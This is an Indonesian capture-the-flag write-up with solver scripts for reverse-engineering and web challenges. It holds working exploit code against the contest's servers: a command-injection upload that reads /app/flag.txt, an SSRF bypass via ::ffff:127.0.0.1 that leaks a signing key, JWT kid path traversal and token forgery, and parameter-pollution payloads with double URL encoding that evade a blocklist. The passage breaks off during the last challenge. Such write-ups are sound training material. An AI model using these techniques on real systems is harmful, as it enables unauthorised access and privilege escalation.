Dari records tersebut ditemukan beberapa key penting: 

0x25E1549E -> LEN 

0xACA92E51 -> SEED 

0x84BA4C8E -> ROUNDS 

0x401A76B5 -> CONSTRAINTS 

0x39DA26CD -> encrypted flag blob 

Nilainya: 

LEN    = 25 

SEED   = 44270 

ROUNDS = 1500 

Artinya password final memiliki panjang 25 byte. Di dalam data bank, terdapat potongan 

WebAssembly yang disimpan dalam record bernomor 2000 sampai 2418. Potongan-potongan 

tersebut harus digabung: 

wasm = b"".join(records[i] for i in range(2000, 2419)) 

Path("rng.wasm").write_bytes(wasm) 

WASM ini mengekspor function RNG seperti: rnd_init, rnd_range. RNG tersebut dipakai untuk 

membangkitkan 1500 operasi constraint. Karena RNG berada dalam format WASM, cara 

termudah adalah menjalankannya menggunakan Node.js. 

Script Node.js: 

const fs = require("fs"); 

const wasm = fs.readFileSync("rng.wasm"); 
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WebAssembly.instantiate(wasm, {}).then(({ instance }) => { 

    const e = instance.exports; 

 

    const LEN = parseInt(process.argv[2]); 

    const SEED = parseInt(process.argv[3]); 

    const ROUNDS = parseInt(process.argv[4]); 

 

    e.rnd_init(SEED); 

 

    let ops = []; 

 

    for (let i = 0; i < ROUNDS; i++) { 

        ops.push([ 

            e.rnd_range(0, LEN), 

            e.rnd_range(0, LEN), 

            e.rnd_range(0, 4) 

        ]); 

    } 

 

    process.stdout.write(JSON.stringify(ops)); 

}); 
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Setiap operasi memiliki format: 

idx1, idx2, op 

Dengan op: 

0 -> tambah 

1 -> kurang 

2 -> xor 

3 -> kali 

Operasi tersebut digunakan untuk membentuk constraint atas 25 byte password. Setelah 

operasi RNG didapatkan, kita buat 25 symbolic byte: 

b0, b1, b2, ..., b24 

Lalu untuk setiap ronde: 

result = operation(password[idx1], password[idx2]) 

result == constraints[i] 

Semua operasi dilakukan dalam ukuran byte, jadi cocok menggunakan BitVec(8) di Z3. 

Solver: 

import z3 

 

b = [z3.BitVec(f"b{i}", 8) for i in range(LEN)] 

s = z3.Solver() 

 

for i, (idx1, idx2, op) in enumerate(ops): 

    x = b[idx1] 
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    y = b[idx2] 

 

    if op == 0: 

        res = x + y 

    elif op == 1: 

        res = x - y 

    elif op == 2: 

        res = x ^ y 

    else: 

        res = x * y 

 

    s.add(res == z3.BitVecVal(CONSTRAINTS[i], 8)) 

 

assert s.check() == z3.sat 

 

m = s.model() 

password = bytes(m.eval(x, model_completion=True).as_long() for x in b) 

 

print(password) 

Hasilnya: 

b'confusing ahhhh challenge' 

Jadi password final adalah: 
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confusing ahhhh challenge 

Berikut solver scriptnya. 

 

import base64 

import hashlib 

import struct 

import subprocess 

import json 

from pathlib import Path 

from cryptography.hazmat.primitives.ciphers.aead import AESGCM 

import z3 

 

FIRST = b"Hx6kLCbTiDXsiFCVDmPqVAQf9" 

 

# extracted from APK 

bin1 = Path("assets/bin_1").read_bytes() 

 

# Stage 1: decrypt bin_1 data bank 

ct = base64.b64decode(bin1) 

db = AESGCM(hashlib.sha256(FIRST).digest()).decrypt(b"\x00" * 12, ct, None) 

 

# Parse DataBankReader format 

records = {} 

pos = 0 
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while pos < len(db): 

    size, key = struct.unpack_from("<II", db, pos) 

    data_len = size - 4 

    enc = db[pos + 8 : pos + 8 + data_len] 

 

    # DataBankReader.Get XORs data with low byte of key 

    records[key] = bytes(b ^ (key & 0xFF) for b in enc) 

 

    pos += size + 4 

 

LEN = struct.unpack("<I", records[0x25E1549E])[0]       # 25 

SEED = struct.unpack("<I", records[0xACA92E51])[0]      # 44270 

ROUNDS = struct.unpack("<I", records[0x84BA4C8E])[0]    # 1500 

 

CONSTRAINTS = records[0x401A76B5] 

FLAG_BLOB = records[0x39DA26CD] 

 

# Rebuild WASM RNG from records 2000..2418 

wasm = b"".join(records[i] for i in range(2000, 2419)) 

Path("rng.wasm").write_bytes(wasm) 

 

# Use Node to run the same WASM RNG 
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node_script = r""" 

const fs = require("fs"); 

const wasm = fs.readFileSync("rng.wasm"); 

 

WebAssembly.instantiate(wasm, {}).then(({ instance }) => { 

    const e = instance.exports; 

    const LEN = parseInt(process.argv[2]); 

    const SEED = parseInt(process.argv[3]); 

    const ROUNDS = parseInt(process.argv[4]); 

 

    e.rnd_init(SEED); 

 

    let ops = []; 

    for (let i = 0; i < ROUNDS; i++) { 

        ops.push([ 

            e.rnd_range(0, LEN), 

            e.rnd_range(0, LEN), 

            e.rnd_range(0, 4) 

        ]); 

    } 

 

    process.stdout.write(JSON.stringify(ops)); 

}); 
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""" 

 

Path("gen_ops.js").write_text(node_script) 

 

ops = json.loads( 

    subprocess.check_output( 

        ["node", "gen_ops.js", str(LEN), str(SEED), str(ROUNDS)] 

    ) 

) 

 

b = [z3.BitVec(f"b{i}", 8) for i in range(LEN)] 

s = z3.Solver() 

 

for i, (idx1, idx2, op) in enumerate(ops): 

    x = b[idx1] 

    y = b[idx2] 

 

    if op == 0: 

        res = x + y 

    elif op == 1: 

        res = x - y 

    elif op == 2: 

        res = x ^ y 
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    else: 

        res = x * y 

 

    s.add(res == z3.BitVecVal(CONSTRAINTS[i], 8)) 

 

assert s.check() == z3.sat 

 

m = s.model() 

password = bytes(m.eval(x, model_completion=True).as_long() for x in b) 

 

print("password:", password) 

 

flag = AESGCM(hashlib.sha256(password).digest()).decrypt( 

    b"\x00" * 12, 

    FLAG_BLOB, 

    None 

) 

 

print(flag.decode()) 

 

FLAG: GCW{this_chall_is_just_a_random_bullshit_atp}  
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Anti-Clanker (100 Points) 
 

Double G (GPT & Gemini) can't one-shot this. Maybe the big C 
(Claude) can? 

 

Author: skuuzie 

Challenge ini diberikan dalam bentuk script Python chall.py dan native extension: 

native.cpython-310-x86_64-linux-gnu.so 

Sekilas, validasi flag terlihat sangat sederhana karena check_flag() hanya melakukan XOR 

antara setiap karakter input dengan konstanta 0x67, lalu dibandingkan dengan array 

EXPECTED. Namun ternyata validasi tersebut adalah decoy. File native.so melakukan hooking 

terhadap runtime Python dan mengubah perilaku beberapa objek/builtin sehingga hasil 

validasi sebenarnya tidak sama dengan hasil dekripsi XOR biasa. 

Lalu disini saya membuka chall.py terdapat sebuah kode penting berikut. 

 

Jadi Fungsi validasinya :  
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Jika hanya melihat kode Python, logikanya adalah: ord(flag[i]) ^ 0x67 == EXPECTED[i] 

Maka: ord(flag[i]) = EXPECTED[i] ^ 0x67 

Jika langsung didecode, hasilnya: GCW{Definitely_The_Flag_Statement.Lets_Submit_Question.} 

Dan yak apa? benar. Ini bukan flag asli. Ini decoy. :( 

beberapa petunjuk kuat bahwa validasi asli bukan hanya XOR biasa. Pertama, script 

mengimpor module native: import native Import ini terjadi sebelum validasi flag dijalankan. 

Artinya native extension punya kesempatan untuk mengubah perilaku runtime Python. Kedua, 

terdapat anti-debug: sys.settrace(anti_debug)  

Fungsi anti_debug() memeriksa module debugger seperti: pdb bdb debugpy pydevd dis  

Jika debugger terdeteksi, program langsung exit menggunakan: os._exit(1). Ketiga, saat event 

call menuju fungsi check_flag, program mengeksekusi beberapa variabel global:  

exec("SEED = 2026", frame.f_globals)  

exec("_poly = 0x04C11DB7", frame.f_globals)  

exec("_crc_init = _poly ^ (_st << 8) & 0xFFFFFFFF", frame.f_globals)  

Variabel SEED, _poly, dan _crc_init tidak dipakai oleh fungsi check_flag() versi Python biasa. Jadi 

sangat masuk akal bahwa variabel ini dipakai oleh native extension. Kesimpulan awal: Validasi 

Python adalah decoy. Validasi asli dikontrol oleh native.cpython-310-x86_64-linux-gnu.so. 

Langkah pertama adalah melihat string yang ada di native extension:  

 

Ini memberi petunjuk bahwa native extension: 

1.​ Membaca variabel SEED. 

2.​ Mengakses atau memodifikasi EXPECTED. 
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3.​ Menggunakan binascii.crc32. 

4.​ Membuat object custom bernama Checker. 

5.​ Membuat object custom bernama Comparer. 

Dari sini, terlihat bahwa native extension kemungkinan mengganti list EXPECTED biasa 

menjadi object khusus. Saat kode Python menjalankan: EXPECTED[i], yang dikembalikan 

bukan integer biasa, melainkan object Comparer. Kemudian saat Python menjalankan: 

(ord(inp[i]) ^ _XOR_BASE) == EXPECTED[i] 

operator == akan memanggil logic native dari object Comparer. 

Native extension ternyata menyimpan banyak ELF lain di dalamnya. Untuk mengecek 

jumlah ELF:  

from pathlib import Path 

 

data = Path("native.cpython-310-x86_64-linux-gnu.so").read_bytes() 

 

offsets = [] 

pos = 0 

 

while True: 

    idx = data.find(b"\x7fELF", pos) 

    if idx == -1: 

        break 

 

    offsets.append(idx) 

    pos = idx + 1 
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print(len(offsets)) 

print(offsets) 

Output menunjukkan ada banyak ELF. ELF pertama adalah native utama, sedangkan sisanya 

adalah embedded module. Kita bisa mengekstraknya: 

from pathlib import Path 

 

data = Path("native.cpython-310-x86_64-linux-gnu.so").read_bytes() 

 

offsets = [] 

pos = 0 

 

while True: 

    idx = data.find(b"\x7fELF", pos) 

    if idx == -1: 

        break 

 

    offsets.append(idx) 

    pos = idx + 1 

 

outdir = Path("extracted") 

outdir.mkdir(exist_ok=True) 

 

for i, off in enumerate(offsets[1:], 1): 
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    end = offsets[i + 1] if i + 1 < len(offsets) else len(data) 

    Path(outdir / f"mod{i:02d}.so").write_bytes(data[off:end]) 

 

print(f"Found {len(offsets)} ELF header(s)") 

print(f"Extracted {max(len(offsets) - 1, 0)} module(s) to {outdir}/") 

Setelah diekstrak, setiap module bisa diperiksa menggunakan: objdump -s -j .rodata 

extracted/mod27.so Pada module yang relevan, ditemukan table 42 integer di section .rodata. 

Dari pola object Checker, Comparer, penggunaan SEED, dan crc32, validasi native dapat 

direkonstruksi sebagai berikut: table[i] == seed ^ EXPECTED[i] ^ ord(input[i]) 

Sehingga karakter flag bisa didapat dengan membalik rumus: ord(input[i]) = table[i] ^ seed ^ 

EXPECTED[i] 

Setelah satu karakter ditemukan, seed diperbarui menggunakan CRC32: seed = 

crc32(bytes([ord(input[i])]), seed ^ i) 

Nilai awal seed adalah: seed = 2026 

Panjang flag asli adalah 42 karakter. Ini juga menjelaskan kenapa hasil XOR biasa menghasilkan 

flag decoy sepanjang 56 karakter, sedangkan flag asli hanya 42 karakter. Native extension 

mengubah perilaku len(EXPECTED) sehingga validasi real memakai panjang 42. 

Berikut solver scriptnya. 

import binascii 

 

EXPECTED = [ 

    32, 36, 48, 28, 35, 2, 1, 14, 9, 14, 19, 2, 11, 30, 

    56, 51, 15, 2, 56, 33, 11, 6, 0, 56, 52, 19, 6, 19, 

    2, 10, 2, 9, 19, 73, 43, 2, 19, 20, 56, 52, 18, 5, 
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    10, 14, 19, 56, 54, 18, 2, 20, 19, 14, 8, 9, 73, 26 

] 

 

TABLE = [ 

    0x0000078d, 0x7a6530b8, 0x5cc66523, 0xb8ee097d, 

    0x71060192, 0x6978aef9, 0x886e4855, 0x57efb176, 

    0x12ef6cf9, 0x61767ab2, 0x6968de93, 0xdf06ed30, 

    0x8dd86137, 0xf4560736, 0x99f26d9c, 0xe4985756, 

    0x7f81ffcc, 0xcda7ed58, 0x33c1d02c, 0x3b528b28, 

    0x2f5b4410, 0x4292a901, 0x21f90c2f, 0x8d269ed9, 

    0x86519e6b, 0x3a3c6a50, 0x59866b60, 0x8be85487, 

    0xaf8e9918, 0x3bcec474, 0x068211e1, 0x1108e355, 

    0x3dc6f724, 0x51ecacab, 0xd03e9041, 0xaad518e2, 

    0xd0c5a9d8, 0xe267d5ae, 0xb25006dc, 0xa7da1c50, 

    0x3d7025dd, 0xec51e80b 

] 

 

seed = 2026 

flag = [] 

for i, target in enumerate(TABLE): 

    c = target ^ seed ^ EXPECTED[i] 

    c &= 0xff 

    flag.append(chr(c)) 
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    seed = binascii.crc32(bytes([c]), seed ^ i) & 0xffffffff 

print("".join(flag)) 

 

FLAG: GCW{Atleast_This_Flag_Checker_Has_A_Twist} 
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Web Exploitation 
daftar-gcw (100 Points) 

 

Katanya sih disuru upload bukti pembayaran lagi... 
 
Bisakah kamu menemukan celahnya dan mendapatkan flag? 
 
http://ctf.gcwug.com:10011/  
 
Author: dre4mer 
 

 

Pada challenge ini, diberikan sebuah website semacam landing page untuk pendaftaran lomba 

GCW. trus terdapat form untuk daftar seperti ss di bawah 
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Berdasarkan tingkah laku aplikasi (terlihat dari `processed_output` di UI): 

1. Endpoint: `POST /api/payment/upload`. 

2. Input: `multipart/form-data` berisi `competition_id`, `name`, `email`, dan `file`. 

3. Server memproses file dan mengembalikan output dari sistem. Karena kita bisa 

mendapatkan output perintah shell, ini adalah indikasi kuat Command Injection atau Insecure 

Execution. 

Vuln terjadi karena server melakukan eksekusi sistem terhadap file yang diupload tanpa 

sanitasi konten atau nama file yang memadai. Kita bisa menyisipkan perintah Python atau 

Shell langsung ke dalam konten file "gambar" kita. 

Tinggal siapkan script untuk mengirim payload utk baca isi flag 

solv.py 

import json, uuid, requests 

 

URL = "http://ctf.gcwug.com:10012/api/payment/upload" 

 

def main(): 

    payload = r"""python3 -c 'import os; print(open("/app/flag.txt").read())'""" 
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    files = { 

        "file": ("exploit.png", payload, "image/png"), 

    } 

    data = { 

        "competition_id": "ctf", 

        "name": "attacker", 

        "email": "attacker@ctf.com", 

    } 

 

    r = requests.post(URL, data=data, files=files) 

    print(r.json().get("processed_output", "No output")) 

 

if __name__ == "__main__": 

    main() 

 

 

FLAG: GCW{RC3_f1l3_3x3cut10n_m4st3r_@_GCW} 
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merimerimeri (100 Points) 
 

A lie is an assertion that is believed to be false, typically used 
with the intention of deceiving or misleading someone.[1][2][3] The 
practice of communicating lies is called lying. A person who 
communicates a lie may be termed a liar. 
 
https://en.wikipedia.org/wiki/Lie  
 
http://ctf.gcwug.com:1448/  
 
Author: lyocs 
 

Aplikasi Node.js (Express) berupa "ledger archive" system. Ada SSRF endpoint, KMS internal 

endpoint, dan sistem token custom. Flag hanya bisa diambil dari `/api/vault/open` yang dijaga 

`requireVault`. Banyak decoy flag disebar di endpoint-endpoint lain. 

 

Challenge ini punya dua bug yang harus dikombinasikan: SSRF buat nyuri `SIGNING_KEY` dari 

endpoint internal, lalu token forgery buat akses flag. Kuncinya ada di IPv4-mapped IPv6 

(`::ffff:127.0.0.1`) yang lolos filter SSRF tapi diterima sebagai loopback oleh KMS. 
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Source code analysis 

 

Terdapat bug token.js, Token bukan JWT standar, hanya `base64url(payload).hmac_hex`. Tidak 

ada header, tidak ada `alg`. 

Selain itu, ada juga func requireVault untuk akses masuk ke flag nya 

 

Exploit 
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Ada endpoint /api/inspector yang menerima URL dan mem-fetch kontennya. Ada juga 

endpoint KMS internal di `/internal/kms/current` yang cuma bisa diakses dari loopback, tapi 

filter SSRFnya punya blind spot. 

 

Jika saya akses ke GET /api/inspector?url=http://[::ffff:127.0.0.1]:8080/internal/kms/current, 

akan ditemukan response dgn field  sample berisi SIGN dalam ‘material’. 

requireVault mengecek field clearance yang merupakan HMAC dari string `sub|vault|iat` 

Lalu cari iat nya 

 untuk menyusun string yg saya mention di atas. 

Selanjutnya saya harus forge JWT nya karena ini bukan jwt biasa, Tinggal scripting untuk 

automasi 

{"sub":"pwned","role":"archivist","aud":"vault","kid":"orion-prod-3","iat":174934000

0,"clearance":"<24-char clearance dari hasil string tadi>"} 

solve2.py 

import base64 

import hashlib 

import hmac 

import json 

import math 

import time 

import requests 
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TARGET      = "http://ctf.gcwug.com:1448/" 

INTERNAL    = "http://[::ffff:127.0.0.1]:8080" 

ACTIVE_KID  = "orion-prod-3" 

 

 

def b64u_enc(data: bytes) -> str: 

    return base64.urlsafe_b64encode(data).rstrip(b"=").decode() 

 

 

def do_hmac(data: str, key: str) -> str: 

    """Mirrors server-side: hmac(data, key) → hex string.""" 

    return hmac.new(key.encode(), data.encode(), hashlib.sha256).hexdigest() 

 

 

def sign_token(payload: dict, key: str) -> str: 

    """Mirrors server-side token.sign().""" 

    body = b64u_enc(json.dumps(payload, separators=(",", ":")).encode()) 

    sig  = do_hmac(body, key) 

    return f"{body}.{sig}" 

 

 

def main(): 

    session = requests.Session() 

 

    # Step 1: SSRF bypass → leak SIGNING_KEY dari /internal/kms/current 

    print("[*] Step 1: SSRF via IPv4-mapped IPv6 bypass...") 

    ssrf_url = f"{INTERNAL}/internal/kms/current" 

    r = session.get(f"{TARGET}/api/inspector", params={"url": ssrf_url}) 

    if r.status_code != 200: 

        print(f"[-] Inspector request failed: {r.status_code} {r.text}") 

        return 

 

    data = r.json() 

    print(f"[+] Inspector response: {json.dumps(data, indent=2)}") 

 

    sample = data.get("sample", "") 

    try: 

        kms = json.loads(sample) 

        signing_key = kms["material"] 

    except Exception as e: 
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        print(f"[-] Failed to parse KMS response from sample: {e}") 

        print(f"    raw sample: {sample[:300]}") 

        return 

 

    print(f"[+] SIGNING_KEY: {signing_key}") 

 

    # Step 2: Forge archivist vault token 

    print("\n[*] Step 2: Forging vault token...") 

    sub = "pwned" 

    iat = math.floor(time.time()) 

 

    # mirrors server-side vaultProof() 

    clearance = do_hmac(f"{sub}|vault|{iat}", signing_key)[:24] 

    print(f"[+] clearance: {clearance}") 

 

    payload = { 

        "sub":       sub, 

        "role":      "archivist", 

        "aud":       "vault", 

        "kid":       ACTIVE_KID, 

        "iat":       iat, 

        "clearance": clearance, 

    } 

    token = sign_token(payload, signing_key) 

    print(f"[+] Forged token (first 80): {token[:80]}...") 

 

    # Step 3: Hit /api/vault/open 

    print("\n[*] Step 3: Hitting /api/vault/open ...") 

    r2 = session.get( 

        f"{TARGET}/api/vault/open", 

        cookies={"orbit": token}, 

    ) 

    print(f"[+] Status: {r2.status_code}") 

 

    if r2.status_code == 200: 

        body = r2.json() 

        print(f"\n[+] Response: {json.dumps(body, indent=2)}") 

        flag = body.get("flag", "") 

        if flag: 

            print(f"\nFLAG: {flag}") 

    else: 
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        print(f"[-] Unexpected response: {r2.text[:500]}") 

 

 

if __name__ == "__main__": 

    main() 

 

 

 

FLAG: GCW{127_0_0_1_1s_n0t_3v3ryth1ng} 
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arsip-audit-gcw (100 Points) 
 

ARSIP AUDIT GCW "Masuk boleh, keluar bawa flag" 
 
https://en.wikipedia.org/wiki/Archive  
 
http://ctf.gcwug.com:6767/ 
 
Author: lyocs 
 

Challenge ini intinya: forge JWT yang valid buat nembus endpoint `/ops/ledger/finalize`. 

Tantangannya ada di middleware `requirePrivileged` yang ngecek banyak field sekaligus, tapi 

ada bug path traversal di JWT `kid` yang bisa kita eksploitasi.  

 

Pertama, explore dulu endpointnya. Ada endpoint publik yang bocor: 

 

Server nge-resolve `kid` di JWT header ke path `keys/<kid>`. Kalau kita set `kid` jadi 

`../decoys/fake_jwks.txt`, path jadi `keys/../decoys/fake_jwks.txt` → yang artinya server baca 
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file yang sama dengan yang barusan kita download. Ini classic **path traversal**.

 

ini yang bakal jadi signing key JWT kita nanti 

Server nge-resolve `kid` di JWT header ke path `keys/<kid>`. Kalau kita set `kid` jadi 

`../decoys/fake_jwks.txt`, path jadi `keys/../decoys/fake_jwks.txt` → yang artinya server baca 

file yang sama dengan yang barusan kita download. Ini classic path traversal. 

Sebelum bikin JWT, kita harus hitung nilai `seal` dulu. Ini HMAC dari kumpulan claims yang 

digabung dengan `|`. 

Tinggal ke devtools > console dan masukkan Math.floor(Date.now() / 1000) + 7200 untuk 

menghitung expiry timestamp yg ada. 

 

Lalu gunakan untuk menyusun material string yg diperlukan 

formatnya: sub|role|scope|ticket|tenant|exp 

Lalu intpu string tersebut ke cyberchef dengan key type utf 8 dan key dari fake_jwks.txt tadi. 

Selanjutnya, saya akan menggunakan 24 karakter pertama sebagai nilai seal. 
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Forge JWT 

Tahap selanjutnya adalah forge JWT dengan cara membuat JWT dari seal yang sudah 

didapatkan tadi. Yang penting saya sudah menemukan step untuk menghasilkan seal baru dari 

jwk key yg ada tadi. Tinggal membuat script untuk automasi seluruh step di atas. 

Kurang lebih attack chain nya kek gini 

/api/public-key/fake_jwks.txt   → bocorin isi file decoy (jadi signing key) 

         ↓ 

  kid = "../decoys/fake_jwks.txt" di JWT header 

         ↓ 

  server baca file yang sama saat verify → kita bisa sign token sendiri 

         ↓ 

  forge semua field (role, scope, ticket, tier, tenant, seal) 

         ↓ 

  GET /ops/ledger/finalize → FLAG 
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solver4.py 

import hmac, hashlib, base64, json, time, requests 

 

TARGET = "http://ctf.gcwug.com:6767" 

 

TICKET = "AUD-ABCDEF1234567890ABCD" 

EXP    = int(time.time()) + 7200 

 

def b64u(data): 

    if isinstance(data, str): 

        data = data.encode() 

    return base64.urlsafe_b64encode(data).rstrip(b"=").decode() 

 

print("[*] Fetching key...") 

secret = requests.get(f"{TARGET}/api/public-key/fake_jwks.txt").content 

print(f"[+] Key ({len(secret)} bytes): {secret[:40]}...") 

 

material = f"pwned|admin|audit:archive|{TICKET}|gcw|{EXP}" 

seal = hmac.new(secret, material.encode(), hashlib.sha256).hexdigest()[:24] 

print(f"[+] seal = {seal}") 

header = {"alg": "HS256", "typ": "JWT", "kid": "../decoys/fake_jwks.txt"} 

payload = { 

    "sub": "pwned", 

    "role": "admin", 

    "scope": ["audit:archive"], 

    "ticket": TICKET, 

    "tenant": "gcw", 

    "tier": 4, 

    "exp": EXP, 

    "seal": seal, 

} 

 

enc_h = b64u(json.dumps(header, separators=(',', ':'))) 

enc_p = b64u(json.dumps(payload, separators=(',', ':'))) 

signing_input = f"{enc_h}.{enc_p}" 

 

sig = b64u(hmac.new(secret, signing_input.encode(), hashlib.sha256).digest()) 

token = f"{signing_input}.{sig}" 

print(f"[+] Token: {token[:80]}...") 

 

Presented by @hackitbraw_ub 



205 

print("[*] Hitting flag endpoint...") 

r = requests.get(f"{TARGET}/ops/ledger/finalize", cookies={"auth": token}) 

print(f"[+] Response ({r.status_code}): {r.text}") 

 

FLAG: GCW{B1K1n_s04L_D1K3J4R_D3DLEN_f4rel_seeyouguysinfinal!} 
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Gunadarma Bookstore Membership (293 
Points) 

 

Gunadarma BookStore lagi beres-beres. Beberapa buku sudah 
dipindahin ke Gunadarma BookStore v2. Gunadarma BookStore V1 
masih dipakai untuk beberapa katalog lama. 

Gunadarma BookStore v2: http://ctf.gcwug.com:5050/ Gunadarma 
BookStore v1: http://ctf.gcwug.com:2004/ 

Author : - 

Pada challenge ini terdapat dua service yaitu : Gunadarma BookStore v2: 

http://ctf.gcwug.com:5050/  

Gunadarma BookStore v1: http://ctf.gcwug.com:2004/  

Dari source code, terlihat bahwa aplikasi V2 menggunakan Flask/Python, sedangkan V1 

menggunakan PHP. Kedua service ini berbagi database yang sama. V2 digunakan untuk 

membuat akun BookPass baru, sedangkan V1 masih menyimpan sistem lama untuk verifikasi 

akun Gold. 

Target kita adalah membuat akun yang terlihat valid di V2, tetapi ketika disimpan ke database 

oleh PHP, akun tersebut berubah menjadi akun Gold Membership. Setelah itu, kita login ke V1, 

mendapatkan cookie khusus, menghitung parameter verifikasi, lalu mengakses catalog.php 

untuk mendapatkan flag. 

Vulnerability challenge ini adalah: 

HTTP Parameter Pollution + parser differential antara Flask dan PHP + double URL encoding 

Struktur penting dari source: 

flask_app/app.py 

php_app/index.php 

php_app/catalog_receipt.php 
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php_app/catalog.php 

php_app/lib.php 

php_app/catalog_cards/*.card 

php_app/catalog_profile.yml 

Alur normalnya seperti ini: 

1.​ User membuat akun lewat BookStore V2. 

2.​ Flask V2 memvalidasi input. 

3.​ Jika valid, Flask meneruskan raw request body ke PHP endpoint internal 

catalog_receipt.php. 

4.​ PHP menyimpan akun ke SQLite database. 

5.​ User login ke V1. 

6.​ Jika akun adalah Gold lama yang valid, PHP memberi cookie catalog_ink. 

7.​ Dengan parameter yang benar, user bisa membuka catalog.php dan mendapatkan 

flag. 

Pada flask_app/app.py, Flask hanya mengizinkan membership biasa: 

ALLOWED_TIERS = {"none", "blue"} 

ALLOWED_DESKS = {"reader"} 

ALLOWED_STAMPS = {"queued"} 

ALLOWED_AISLES = {"open"} 

ALLOWED_BINDINGS = {"draft"} 

Artinya secara normal kita hanya boleh membuat akun seperti ini: 

tier    = blue / none 

desk    = reader 

stamp   = queued 

aisle   = open 
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binding = draft 

Flask juga memblokir nilaireserved seperti Gold: 

RESERVED_DIGESTS = { 

    "desk": sha256("curator"), 

    "tier": sha256("gold"), 

    "stamp": sha256("stamped"), 

    "aisle": sha256("closed"), 

    "binding": sha256("bound"), 

} 

Nilai Gold yang ingin kita masukkan sebenarnya adalah: 

tier    = gold 

desk    = curator 

stamp   = stamped 

aisle   = closed 

binding = bound 

Masalahnya, jika kita mengirim langsung tier=gold, Flask akan menolak request. Pada 

php_app/catalog_receipt.php, Flask meneruskan raw body ke PHP. Bagian pentingnya: 

$wire = file_get_contents("php://input"); 

$decoder = chr(112) . chr(97) . chr(114) . chr(115) . chr(101) . chr(95) . chr(115) 

. chr(116) . chr(114); 

$decoder($wire, $params); 

Kode tersebut sama saja dengan: 

parse_str($wire, $params); 

Lalu PHP mengambil field: 
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$tier = card_value($params["tier"] ?? ""); 

$desk = card_value($params["desk"] ?? "reader"); 

$stamp = card_value($params["stamp"] ?? "queued"); 

$aisle = card_value($params["aisle"] ?? "open"); 

$binding = card_value($params["binding"] ?? "draft"); 

Fungsi card_value() di php_app/lib.php: 

function card_value($value) { 

    if (is_array($value)) { 

        $value = end($value); 

    } 

    $value = strtolower(trim(rawurldecode((string)$value))); 

    $codes = [ 

        "cr-8f2a" => "curator", 

        "st-4d91" => "stamped", 

        "cl-71be" => "closed", 

        "bd-0aa7" => "bound", 

        "gd-24d7" => "gold", 

    ]; 

    return $codes[$value] ?? $value; 

} 

Ini penting karena PHP tidak harus menerima string gold secara langsung. PHP juga menerima 

kode rahasia: 

gd-24d7 -> gold 

cr-8f2a -> curator 

st-4d91 -> stamped 

cl-71be -> closed 

bd-0aa7 -> bound 

Jadi kita tidak perlu mengirim gold. Kita bisa mengirim kode seperti gd-24d7, lalu PHP akan 

mengubahnya menjadi gold. 

Lalu disini terdapat Bug utama yaitu Flask membaca form menggunakan function ini:  
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def form_value(name, default=""): if name in request.form: return 
request.form.get(name, default)  

Pada Flask/Werkzeug, ketika ada duplicate parameter seperti tier=blue&tier=gold. 

request.form.get("tier") mengambil value pertama, yaitu: blue. Tetapi PHP menggunakan 

parse_str($wire, $params);. Pada PHP, jika ada duplicate scalar parameter seperti: 

tier=blue&tier=gold. maka value terakhir yang dipakai adalah: gold. Inilah parser 

differential-nya: Flask membaca value pertama., PHP membaca value terakhir. Jadi kita bisa 

membuat request seperti ini: tier=blue&tier=payload_gold. Flask melihat: tier = blue, PHP 

melihat: tier = payload_gold. Flask memiliki fungsi plain_reserved_pair_seen() yang membaca 

raw body menggunakan parse_qsl(): 

for key, value in parse_qsl(text, keep_blank_values=True): 

    digest = sha256(value.strip().lower()).hexdigest() 

    if normalized_key in WATCHED_KEYS and digest in BLOCKED_DIGESTS: 

        return True 

Kalau kita mengirim: tier=gold, atau: tier=gd-24d7. Flask bisa membaca value tersebut dan 

memblokirnya karena hash-nya masuk daftar blocked/reserved. Bypass-nya adalah memakai 

double URL encoding. Contoh untuk gd-24d7: gd-24d7  

URL encode satu kali: %67%64%2D%32%34%64%37 

Double encode: %2567%2564%252D%2532%2534%2564%2537 

Ketika Flask membaca body, Flask hanya decode satu lapis: %67%64%2D%32%34%64%37 

Nilai ini tidak sama dengan gd-24d7, dan hash-nya juga tidak sama dengan hash reserved. Jadi 

lolos validasi. Ketika request diteruskan ke PHP: 

1.​ parse_str() melakukan decode satu lapis. 

2.​ card_value() menjalankan rawurldecode() lagi. 

3.​ Hasil akhirnya menjadi gd-24d7. 

4.​ card_value() mengubah gd-24d7 menjadi gold. 

Presented by @hackitbraw_ub 



211 

Jadi double encoding membuat Flask melihat value aman, tetapi PHP akhirnya melihat kode 

asli. Payload yang dikirim ke V2 harus menggunakan duplicate parameter. 

Versi konsep: 

username=<random> 

password=<random> 

tier=blue 

tier=<double encoded gd-24d7> 

desk=reader 

desk=<double encoded cr-8f2a> 

stamp=queued 

stamp=<double encoded st-4d91> 

aisle=open 

aisle=<double encoded cl-71be> 

binding=draft 

binding=<double encoded bd-0aa7> 

catalog_ticket=<ticket> 

Payload final untuk field-field penting: 

tier=blue&tier=%2567%2564%252D%2532%2534%2564%2537 

desk=reader&desk=%2563%2572%252D%2538%2566%2532%2561 

stamp=queued&stamp=%2573%2574%252D%2534%2564%2539%2531 

aisle=open&aisle=%2563%256C%252D%2537%2531%2562%2565 

binding=draft&binding=%2562%2564%252D%2530%2561%2561%2537 

Flask akan memvalidasi akun sebagai: 

Presented by @hackitbraw_ub 



212 

tier    = blue 

desk    = reader 

stamp   = queued 

aisle   = open 

binding = draft 

Tetapi PHP akan menyimpan akun sebagai: 

tier    = gold 

desk    = curator 

stamp   = stamped 

aisle   = closed 

binding = bound 

Di php_app/catalog.php, flag hanya keluar jika row di database lolos fungsi listed_for_catalog(): 

$bookpress = [ 

    "desk" => "253976855f08111c038c4a7570d90b38065d14c328b34fbe7e002ccbb35edf6a", 

    "tier" => "24d7f03d8dc3c3666969e6fa5bb1fac4736d3f1353c28307ed51b320f9dc42d3", 

    "stamp" => "ca2fe80680584cc13ea8288c0ca1db7159e62f523c73775ef7ceecd062bf15a1", 

    "aisle" => "c3eefb58d7c42440a9d4abec51d629544d635a6d936ff3c4d3fca96d611b3cf3", 

    "binding" => "5e1cf42878df58fea7bfa45b715b7832d889092ad23e802e63912b1bfd205630", 

]; 

Fungsi validasinya: 

function listed_for_catalog($row, $bookpress) { 

    foreach ($bookpress as $field => $digest) { 

        $value = strtolower((string)($row[$field] ?? "")); 

        if (!hash_equals($digest, hash("sha256", $value))) { 
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            return false; 

        } 

    } 

    return true; 

} 

Jadi tidak cukup hanya membuat: tier = gold. Kita juga wajib membuat: 

desk    = curator 

stamp   = stamped 

aisle   = closed 

binding = bound 

Kalau salah satu field masih default seperti reader atau queued, maka catalog.php akan 

mengembalikan: 

catalog entry not found 

